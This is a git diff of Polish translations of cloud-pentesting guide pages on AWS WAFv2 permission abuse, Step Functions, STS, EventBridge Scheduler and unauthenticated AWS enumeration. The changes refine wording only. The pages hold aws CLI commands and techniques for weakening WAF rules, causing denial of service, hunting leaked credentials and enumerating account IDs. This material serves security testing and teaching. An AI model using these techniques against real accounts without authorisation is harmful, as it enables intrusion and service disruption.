Aktualizowanie grup reguł, mając możliwość zmiany ich działań na przykład z **Block** na **Allow**. - Usuwanie grup reguł, które zapewniają krytyczne środki bezpieczeństwa. ```bash # Create Rule Group @@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name --id --default-action -- # Delete Web ACL aws wafv2 delete-web-acl --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Przykłady poniżej pokazują, jak zaktualizować Web ACL, aby zablokować legalny ruch z określonego zestawu adresów IP. Jeśli adres IP źródła nie pasuje do żadnego z tych adresów, domyślna akcja również będzie go blokować, co spowoduje DoS. +Przykłady poniżej pokazują, jak zaktualizować Web ACL, aby zablokować legalny ruch z określonego zestawu adresów IP. Jeśli adres IP źródła nie pasuje do żadnego z tych adresów IP, domyślna akcja również będzie go blokować, co spowoduje DoS. **Oryginalny Web ACL**: ```json @@ -333,18 +333,18 @@ Plik **rule.json** wyglądałby następująco: #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -Uprawnienie **`wafv2:AssociateWebACL`** pozwoliłoby atakującemu na powiązanie web ACL (List Kontroli Dostępu) z zasobami, co umożliwiłoby obejście zabezpieczeń, pozwalając na nieautoryzowany ruch do aplikacji, co potencjalnie prowadziłoby do wykorzystania luk, takich jak SQL injection lub cross-site scripting (XSS). Z drugiej strony, z uprawnieniem **`wafv2:DisassociateWebACL`**, atakujący mógłby tymczasowo wyłączyć zabezpieczenia, narażając zasoby na luki bez wykrycia. +Uprawnienie **`wafv2:AssociateWebACL`** pozwoliłoby atakującemu na powiązanie web ACL (List Kontroli Dostępu) z zasobami, co umożliwiłoby obejście zabezpieczeń, pozwalając na nieautoryzowany ruch dotarcie do aplikacji, co potencjalnie prowadziłoby do wykorzystania luk, takich jak SQL injection lub cross-site scripting (XSS). Z drugiej strony, z uprawnieniem **`wafv2:DisassociateWebACL`**, atakujący mógłby tymczasowo wyłączyć zabezpieczenia, narażając zasoby na luki bez wykrycia. Dodatkowe uprawnienia byłyby potrzebne w zależności od typu chronionego zasobu: -- **Associate** +- **Powiąż** - apigateway:SetWebACL - apprunner:AssociateWebAcl - appsync:SetWebACL - cognito-idp:AssociateWebACL - ec2:AssociateVerifiedAccessInstanceWebAcl - elasticloadbalancing:SetWebAcl -- **Disassociate** +- **Rozłącz** - apigateway:SetWebACL - apprunner:DisassociateWebAcl - appsync:SetWebACL @@ -378,11 +378,11 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a #### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -Atakujący z tymi uprawnieniami mógłby manipulować zestawami wzorców wyrażeń regularnych używanymi przez AWS WAF do kontrolowania i filtrowania przychodzącego ruchu na podstawie określonych wzorców. +Napastnik z tymi uprawnieniami mógłby manipulować zestawami wzorców wyrażeń regularnych używanymi przez AWS WAF do kontrolowania i filtrowania przychodzącego ruchu na podstawie określonych wzorców. -- Tworzenie nowych wzorców regex pomogłoby atakującemu w zezwoleniu na szkodliwą treść -- Aktualizując istniejące wzorce, atakujący mógłby obejść zasady bezpieczeństwa -- Usunięcie wzorców zaprojektowanych w celu blokowania złośliwych działań mogłoby umożliwić atakującemu wysyłanie złośliwych ładunków i obejście środków bezpieczeństwa. +- Tworzenie nowych wzorców regex pomogłoby napastnikowi w zezwoleniu na szkodliwą treść +- Aktualizując istniejące wzorce, napastnik mógłby obejść zasady bezpieczeństwa +- Usuwanie wzorców zaprojektowanych w celu blokowania złośliwych działań mogłoby umożliwić napastnikowi wysyłanie złośliwych ładunków i obejście środków bezpieczeństwa. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -415,7 +415,7 @@ aws wafv2 delete-logging-configuration --resource-arn [--log-scope --scope | CLOUDFRONT --region=us-east-1> @@ -424,7 +424,7 @@ aws wafv2 delete-api-key --api-key --scope | #### **`wafv2:TagResource`, `wafv2:UntagResource`** -Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów AWS WAFv2, takich jak Web ACL, grupy reguł, zestawy IP, zestawy wzorców regex i konfiguracje logowania. +Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów AWS WAFv2, takich jak Web ACL, grupy reguł, zestawy IP, zestawy wzorców regex oraz konfiguracje logowania. ```bash # Tag aws wafv2 tag-resource --resource-arn --tags diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 3f9c77e9a..5de253a2e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,7 +4,7 @@ ## Step Functions -AWS Step Functions to usługa przepływu pracy, która umożliwia koordynowanie i orkiestrację wielu usług AWS w bezserwerowych przepływach pracy. Korzystając z AWS Step Functions, możesz projektować i uruchamiać przepływy pracy, które łączą różne usługi AWS, takie jak AWS Lambda, Amazon S3, Amazon DynamoDB i wiele innych, w sekwencji kroków. Ta usługa orkiestracji zapewnia wizualny interfejs przepływu pracy i oferuje możliwości **maszyny stanów**, pozwalając na definiowanie każdego kroku przepływu pracy w sposób deklaratywny przy użyciu opartego na JSON **Amazon States Language** (ASL). +AWS Step Functions to usługa przepływu pracy, która umożliwia koordynację i orkiestrację wielu usług AWS w bezserwerowych przepływach pracy. Korzystając z AWS Step Functions, możesz projektować i uruchamiać przepływy pracy, które łączą różne usługi AWS, takie jak AWS Lambda, Amazon S3, Amazon DynamoDB i wiele innych, w sekwencji kroków. Ta usługa orkiestracji zapewnia wizualny interfejs przepływu pracy i oferuje możliwości **maszyny stanów**, pozwalając na definiowanie każdego kroku przepływu pracy w sposób deklaratywny przy użyciu opartego na JSON **Amazon States Language** (ASL). ## Kluczowe pojęcia @@ -12,7 +12,7 @@ AWS Step Functions to usługa przepływu pracy, która umożliwia koordynowanie AWS Step Functions oferuje dwa typy **przepływów pracy maszyny stanów**: Standardowy i Ekspresowy. -- **Standardowy przepływ pracy**: Ten domyślny typ przepływu pracy jest zaprojektowany dla długoterminowych, trwałych i audytowalnych procesów. Obsługuje **wykonanie dokładnie raz**, zapewniając, że zadania są uruchamiane tylko raz, chyba że określono ponowne próby. Jest idealny dla przepływów pracy wymagających szczegółowej historii wykonania i może działać przez maksymalnie jeden rok. +- **Standardowy przepływ pracy**: Ten domyślny typ przepływu pracy jest zaprojektowany dla długoterminowych, trwałych i audytowalnych procesów. Obsługuje **wykonanie dokładnie raz**, zapewniając, że zadania są uruchamiane tylko raz, chyba że określono ponowne próby. Jest idealny dla przepływów pracy wymagających szczegółowej historii wykonania i może działać przez maksymalnie rok. - **Ekspresowy przepływ pracy**: Ten typ jest idealny dla zadań o dużej objętości i krótkim czasie trwania, działających do pięciu minut. Obsługują **wykonanie przynajmniej raz**, odpowiednie dla idempotentnych zadań, takich jak przetwarzanie danych. Te przepływy pracy są zoptymalizowane pod kątem kosztów i wydajności, naliczając opłaty na podstawie wykonania, czasu trwania i użycia pamięci. ### Stany @@ -25,7 +25,7 @@ Stany są podstawowymi jednostkami maszyn stanów. Definiują poszczególne krok - **Przekazanie:** Przekazuje dane wejściowe do wyjścia lub wstrzykuje dane. - **Czekanie:** Opóźnia wykonanie na określony czas. - **Równolegle:** Inicjuje równoległe gałęzie. -- **Mapowanie:** Dynamicznie iteruje kroki nad elementami. +- **Mapa:** Dynamicznie iteruje kroki nad elementami. ### Zadanie @@ -52,12 +52,12 @@ Poniższy przykład pokazuje definicję stanu Zadanie, która wywołuje funkcję "End": true } ``` -### Choice +### Wybór Stan **Choice** dodaje logikę warunkową do przepływu pracy, umożliwiając podejmowanie decyzji na podstawie danych wejściowych. Ocenia określone warunki i przechodzi do odpowiedniego stanu na podstawie wyników. -- **Comparison**: Każda reguła wyboru zawiera operator porównania (np. **`NumericEquals`**, **`StringEquals`**), który porównuje zmienną wejściową z określoną wartością lub inną zmienną. -- **Next Field**: Stany wyboru nie obsługują pola **`End`**, zamiast tego definiują stan **`Next`**, do którego należy przejść, jeśli porównanie jest prawdziwe. +- **Porównanie**: Każda reguła wyboru zawiera operator porównania (np. **`NumericEquals`**, **`StringEquals`**), który porównuje zmienną wejściową z określoną wartością lub inną zmienną. +- **Pole Next**: Stany wyboru nie obsługują pola **`End`**, zamiast tego definiują stan **`Next`**, do którego należy przejść, jeśli porównanie jest prawdziwe. Przykład stanu **Choice**: ```json @@ -71,7 +71,7 @@ Przykład stanu **Choice**: Stan **`Fail`** zatrzymuje wykonanie maszyny stanów i oznacza ją jako błąd. Służy do określenia nazwy błędu i przyczyny, dostarczając szczegóły dotyczące awarii. Ten stan jest terminalny, co oznacza, że kończy przepływ wykonania. -Stan **`Succeed`** zatrzymuje wykonanie pomyślnie. Zwykle jest używany do zakończenia przepływu pracy, gdy zakończy się pomyślnie. Ten stan nie wymaga pola **`Next`**. +Stan **`Succeed`** zatrzymuje wykonanie pomyślnie. Zwykle jest używany do zakończenia przepływu pracy, gdy zostanie pomyślnie zakończony. Ten stan nie wymaga pola **`Next`**. {{#tabs }} {{#tab name="Fail example" }} @@ -95,7 +95,7 @@ Stan **`Succeed`** zatrzymuje wykonanie pomyślnie. Zwykle jest używany do zako ### Pass -Stan **Pass** przekazuje swoje dane wejściowe do wyjścia, albo bez wykonywania jakiejkolwiek pracy, albo przekształcając dane wejściowe JSON za pomocą filtrów, a następnie przekazując przekształcone dane do następnego stanu. Jest przydatny do testowania i konstruowania maszyn stanowych, umożliwiając wstrzykiwanie statycznych danych lub ich przekształcanie. +Stan **Pass** przekazuje swoje dane wejściowe do wyjścia, albo nie wykonując żadnej pracy, albo przekształcając dane wejściowe JSON za pomocą filtrów, a następnie przekazując przekształcone dane do następnego stanu. Jest przydatny do testowania i konstruowania maszyn stanowych, umożliwiając wstrzykiwanie statycznych danych lub ich przekształcanie. ```json "PassState": { "Type": "Pass", @@ -195,7 +195,7 @@ Stan **Map** umożliwia wykonanie zestawu kroków dla każdego elementu w zbiorz } ``` -- **Distributed Mode**: Zaprojektowany do przetwarzania równoległego na dużą skalę z wysoką współbieżnością. Obsługuje przetwarzanie dużych zbiorów danych, takich jak te przechowywane w Amazon S3, umożliwiając wysoką współbieżność do 10 000 równoległych wykonania dziecięcych przepływów pracy, uruchamiając te dzieci jako osobne wykonania. +- **Distributed Mode**: Zaprojektowany do przetwarzania równoległego na dużą skalę z wysoką współbieżnością. Obsługuje przetwarzanie dużych zbiorów danych, takich jak te przechowywane w Amazon S3, umożliwiając wysoką współbieżność do 10,000 równoległych wykonania dziecięcych przepływów pracy, uruchamiając te dzieci jako osobne wykonania. ```json "DistributedMapState": { diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index e320d4bcc..4dcef11e6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,9 +4,9 @@ ## STS -**AWS Security Token Service (STS)** jest głównie zaprojektowany do wydawania **tymczasowych, ograniczonych uprawnień**. Te poświadczenia mogą być żądane dla **użytkowników AWS Identity and Access Management (IAM)** lub dla uwierzytelnionych użytkowników (użytkowników federacyjnych). +**AWS Security Token Service (STS)** jest głównie zaprojektowany do wydawania **tymczasowych, ograniczonych uprawnień**. Te poświadczenia mogą być żądane dla użytkowników **AWS Identity and Access Management (IAM)** lub dla uwierzytelnionych użytkowników (użytkowników federacyjnych). -Biorąc pod uwagę, że celem STS jest **wydawanie poświadczeń do podszywania się pod tożsamość**, usługa ta jest niezwykle cenna dla **eskalacji uprawnień i utrzymywania trwałości**, mimo że może nie mieć szerokiego zakresu opcji. +Biorąc pod uwagę, że celem STS jest **wydawanie poświadczeń do podszywania się pod tożsamość**, usługa ta jest niezwykle cenna do **eskalacji uprawnień i utrzymywania trwałości**, mimo że może nie mieć szerokiego zakresu opcji. ### Podszywanie się pod rolę @@ -54,7 +54,7 @@ Rola, którą próbujesz przyjąć, będzie potrzebować **specyficznego uprawni Jeśli spróbujesz przyjąć **rolę** **z innego konta**, **przyjęta rola musi to umożliwić** (wskazując **ARN** roli lub **zewnętrzne konto**), a **rola próbująca przyjąć** tę drugą **MUSI** mieć **uprawnienia do jej przyjęcia** (w tym przypadku nie jest to opcjonalne, nawet jeśli przyjęta rola określa ARN). -### Enumeration +### Enumeracja ```bash # Get basic info of the creds aws sts get-caller-identity diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index d5e9b7a4e..3d6ad98b6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -8,7 +8,7 @@ **Amazon EventBridge Scheduler** to w pełni zarządzany, **bezserwerowy harmonogram zaprojektowany do tworzenia, uruchamiania i zarządzania zadaniami** na dużą skalę. Umożliwia planowanie milionów zadań w ponad 270 usługach AWS i 6,000+ operacjach API, wszystko z jednego centralnego serwisu. Dzięki wbudowanej niezawodności i braku infrastruktury do zarządzania, EventBridge Scheduler upraszcza harmonogramowanie, redukuje koszty utrzymania i automatycznie skaluje się w odpowiedzi na zapotrzebowanie. Możesz konfigurować wyrażenia cron lub rate dla harmonogramów cyklicznych, ustawiać jednorazowe wywołania oraz definiować elastyczne okna dostawy z opcjami ponownego próbowania, zapewniając niezawodne dostarczanie zadań w oparciu o dostępność celów downstream. -Istnieje początkowy limit 1,000,000 harmonogramów na region na konto. Nawet oficjalna strona limitów sugeruje: "Zaleca się usunięcie jednorazowych harmonogramów po ich zakończeniu." +Istnieje początkowy limit 1,000,000 harmonogramów na region na konto. Nawet oficjalna strona z limitami sugeruje: "Zaleca się usunięcie jednorazowych harmonogramów po ich zakończeniu." ### Typy Harmonogramów @@ -20,14 +20,14 @@ Typy Harmonogramów w EventBridge Scheduler: Dwa mechanizmy obsługi nieudanych zdarzeń: -1. **Polityka ponawiania** – Definiuje liczbę prób ponowienia dla nieudanego zdarzenia oraz jak długo pozostawić je nieprzetworzone przed uznaniem za nieudane. -2. **Kolejka martwych listów (DLQ)** – Standardowa kolejka Amazon SQS, do której dostarczane są nieudane zdarzenia po wyczerpaniu prób ponowienia. DLQ pomagają w rozwiązywaniu problemów z harmonogramem lub jego celem downstream. +1. **Polityka ponownego próbowania** – Definiuje liczbę prób ponownego wykonania dla nieudanego zdarzenia oraz jak długo pozostawić je nieprzetworzone przed uznaniem za nieudane. +2. **Kolejka martwych listów (DLQ)** – Standardowa kolejka Amazon SQS, do której dostarczane są nieudane zdarzenia po wyczerpaniu prób ponownego wykonania. DLQ pomagają w rozwiązywaniu problemów z harmonogramem lub jego celem downstream. ### Cele Istnieją 2 typy celów dla harmonogramu [**szablonowe (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), które są powszechnie używane i AWS ułatwiło ich konfigurację, oraz [**uniwersalne (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), które mogą być używane do wywoływania dowolnego API AWS. -**Cele szablonowe** obsługują następujące usługi: +**Szablonowe cele** obsługują następujące usługi: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index de6e26807..8ef1fa862 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -4,7 +4,7 @@ ## Wycieki Poświadczeń AWS -Powszechnym sposobem na uzyskanie dostępu lub informacji o koncie AWS jest **wyszukiwanie wycieków**. Możesz wyszukiwać wycieki, używając **google dorks**, sprawdzając **publiczne repozytoria** organizacji oraz **pracowników** organizacji na **Githubie** lub innych platformach, przeszukując **bazy danych wycieków poświadczeń**... lub w każdej innej części, w której myślisz, że możesz znaleźć jakiekolwiek informacje o firmie i jej infrastrukturze w chmurze.\ +Powszechnym sposobem na uzyskanie dostępu lub informacji o koncie AWS jest **wyszukiwanie wycieków**. Możesz wyszukiwać wycieki używając **google dorks**, sprawdzając **publiczne repozytoria** organizacji oraz **pracowników** organizacji na **Githubie** lub innych platformach, przeszukując **bazy danych wycieków poświadczeń**... lub w każdej innej części, gdzie myślisz, że możesz znaleźć jakiekolwiek informacje o firmie i jej infrastrukturze w chmurze.\ Kilka przydatnych **narzędzi**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) @@ -13,7 +13,7 @@ Kilka przydatnych **narzędzi**: ## AWS Nieautoryzowane Enum & Dostęp -Istnieje kilka usług w AWS, które mogą być skonfigurowane, dając pewien rodzaj dostępu do całego Internetu lub do większej liczby osób niż oczekiwano. Sprawdź tutaj, jak: +Istnieje kilka usług w AWS, które mogą być skonfigurowane, dając jakiś rodzaj dostępu do całego Internetu lub do większej liczby osób niż oczekiwano. Sprawdź tutaj jak: - [**Nieautoryzowane Enum Kont**](aws-accounts-unauthenticated-enum.md) - [**Nieautoryzowane Enum Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) @@ -36,9 +36,9 @@ Istnieje kilka usług w AWS, które mogą być skonfigurowane, dając pewien rod ## Ataki Między Kontami -W wykładzie [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) przedstawiono, jak niektóre usługi pozwalały dowolnemu kontu AWS na dostęp do nich, ponieważ **usługi AWS bez określenia ID konta** były dozwolone. +W wykładzie [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) przedstawiono, jak niektóre usługi pozwalały dowolnemu koncie AWS na dostęp do nich, ponieważ **usługi AWS bez określenia ID konta** były dozwolone. -Podczas wykładu podano kilka przykładów, takich jak kosze S3 **pozwalające cloudtrail** (dowolnego konta **AWS**) na **zapisywanie do nich**: +Podczas wykładu podano kilka przykładów, takich jak kosze S3 **pozwalające cloudtrail** (dowolnemu koncie **AWS**) na **zapisywanie do nich**: ![](<../../../images/image (260).png>) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 1fdc278d1..5cd3b93e5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Konta Nieużytkownika Enum +# AWS - Konta Nieużytkownikowe Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 37a5f6151..f11acba4c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -28,7 +28,7 @@ Kilka przykładów: > [!WARNING] > Zauważ, że **"\*" nie przestaje się rozwijać z ukośnikami**, dlatego, jeśli użyjesz "\*" w api-id, na przykład, może to również oznaczać "dowolny etap" lub "dowolną metodę", o ile końcowy regex jest nadal ważny.\ > Tak więc `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Może zwalidować żądanie POST do etapu testowego do ścieżki `/prod/GET/dashboard/admin`, na przykład. +> Może walidować żądanie POST do etapu testowego do ścieżki `/prod/GET/dashboard/admin`, na przykład. Zawsze powinieneś mieć jasno określone, co chcesz zezwolić na dostęp, a następnie sprawdzić, czy inne scenariusze są możliwe z przyznanymi uprawnieniami. @@ -36,7 +36,7 @@ Aby uzyskać więcej informacji, oprócz [**docs**](https://docs.aws.amazon.com/ ### Wstrzykiwanie polityki IAM -W tej samej [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)ujawniono fakt, że jeśli kod używa **wejścia użytkownika** do **generowania polityk IAM**, dzikie znaki (i inne, takie jak "." lub konkretne ciągi) mogą być w nich zawarte w celu **obejścia ograniczeń**. +W tej samej [**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE) ujawniono fakt, że jeśli kod używa **wejścia użytkownika** do **generowania polityk IAM**, dzikie znaki (i inne, takie jak "." lub konkretne ciągi) mogą być w nich zawarte w celu **obejścia ograniczeń**. ### Szablon publicznego URL ``` @@ -45,7 +45,7 @@ https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ### Uzyskaj identyfikator konta z publicznego adresu URL API Gateway Podobnie jak w przypadku koszyków S3, Data Exchange i adresów URL bramek Lambda, możliwe jest znalezienie identyfikatora konta, wykorzystując **`aws:ResourceAccount`** **Policy Condition Key** z publicznego adresu URL API Gateway. Robi się to, znajdując identyfikator konta jeden znak na raz, wykorzystując znaki wieloznaczne w sekcji **`aws:ResourceAccount`** polityki.\ -Ta technika pozwala również uzyskać **wartości tagów**, jeśli znasz klucz tagu (istnieje kilka domyślnych interesujących). +Ta technika pozwala również uzyskać **wartości tagów**, jeśli znasz klucz tagu (istnieją domyślne interesujące). Możesz znaleźć więcej informacji w [**oryginalnych badaniach**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) oraz w narzędziu [**conditional-love**](https://github.com/plerionhq/conditional-love/), aby zautomatyzować tę eksploitację. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index 97a63a9a7..b90d56033 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -24,10 +24,10 @@ Aby uzyskać powiązane informacje, możesz sprawdzić stronę o tym, jak atakow ## Self-hosted GitHub Actions runners in AWS CodeBuild -Jak [**wskazano w dokumentacji**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), możliwe jest skonfigurowanie **CodeBuild** do uruchamiania **self-hosted Github actions**, gdy workflow jest uruchamiany w skonfigurowanym repozytorium Github. Można to wykryć, sprawdzając konfigurację projektu CodeBuild, ponieważ **`Event type`** musi zawierać: **`WORKFLOW_JOB_QUEUED`**, a w workflow Github, ponieważ wybierze **self-hosted** runnera w ten sposób: +Jak [**wskazano w dokumentacji**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), możliwe jest skonfigurowanie **CodeBuild** do uruchamiania **self-hosted Github actions**, gdy workflow jest uruchamiany w skonfigurowanym repozytorium Github. Można to wykryć, sprawdzając konfigurację projektu CodeBuild, ponieważ **`Event type`** musi zawierać: **`WORKFLOW_JOB_QUEUED`** i w workflow Github, ponieważ wybierze **self-hosted** runnera w ten sposób: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` -Nowa relacja między Github Actions a AWS tworzy kolejny sposób na kompromitację AWS z Github, ponieważ kod w Github będzie uruchamiany w projekcie CodeBuild z przypisaną rolą IAM. +Nowa relacja między Github Actions a AWS tworzy kolejny sposób na kompromitację AWS z Github, ponieważ kod w Github będzie uruchamiany w projekcie CodeBuild z dołączoną rolą IAM. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 29dd8605a..1f6a09b81 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -37,7 +37,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Przykładowe użycie cognito\_\_enum do zbierania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS: +Przykładowe użycie cognito\_\_enum do zebrania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS: ```bash Pacu (new:test) > run cognito__enum ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index cbf6f59c7..3c58e22a2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -10,6 +10,6 @@ Aby uzyskać więcej informacji, sprawdź: ../aws-services/aws-dynamodb-enum.md {{#endref}} -Oprócz uzyskania dostępu do wszystkich kont AWS lub niektórego skompromitowanego zewnętrznego konta AWS, lub posiadania jakichkolwiek SQL injection w aplikacji, która komunikuje się z DynamoDB, nie znam więcej opcji dostępu do kont AWS z DynamoDB. +Oprócz uzyskania dostępu do wszystkich kont AWS lub niektórego skompromitowanego zewnętrznego konta AWS, lub posiadania jakichś SQL injection w aplikacji, która komunikuje się z DynamoDB, nie znam więcej opcji dostępu do kont AWS z DynamoDB. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 30570a1f2..c631819a5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -22,7 +22,7 @@ Format stron internetowych Beanstalk to **`https://-env..el ### Publicly Accessible Load Balancer -Jeśli środowisko Elastic Beanstalk korzysta z load balancera, a load balancer jest skonfigurowany jako publicznie dostępny, atakujący mogą **wysyłać żądania bezpośrednio do load balancera**. Chociaż może to nie stanowić problemu dla aplikacji internetowych, które mają być publicznie dostępne, może to być problem dla aplikacji lub środowisk prywatnych. +Jeśli środowisko Elastic Beanstalk korzysta z load balancera, a load balancer jest skonfigurowany jako publicznie dostępny, atakujący mogą **wysyłać żądania bezpośrednio do load balancera**. Chociaż może to nie stanowić problemu dla aplikacji internetowych, które mają być publicznie dostępne, może to być problem dla prywatnych aplikacji lub środowisk. ### Publicly Accessible S3 Buckets diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index dbf32007a..77e9b8e14 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Szablon publicznego URL +### Publiczny szablon URL ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index 6c24a1017..75a61fa0e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## Enumerowanie ról i nazw użytkowników w koncie -### ~~Brute-Force przy założeniu roli~~ +### ~~Brute-Force za pomocą Assume Role~~ > [!CAUTION] > **Ta technika już nie działa** ponieważ niezależnie od tego, czy rola istnieje, czy nie, zawsze otrzymujesz ten błąd: @@ -15,7 +15,7 @@ > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Próba **założenia roli bez niezbędnych uprawnień** wywołuje komunikat o błędzie AWS. Na przykład, jeśli brak uprawnień, AWS może zwrócić: +Próba **przyjęcia roli bez niezbędnych uprawnień** wywołuje komunikat o błędzie AWS. Na przykład, jeśli brak uprawnień, AWS może zwrócić: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` @@ -25,11 +25,11 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: Not auth ``` Interesująco, ta metoda **rozróżniania 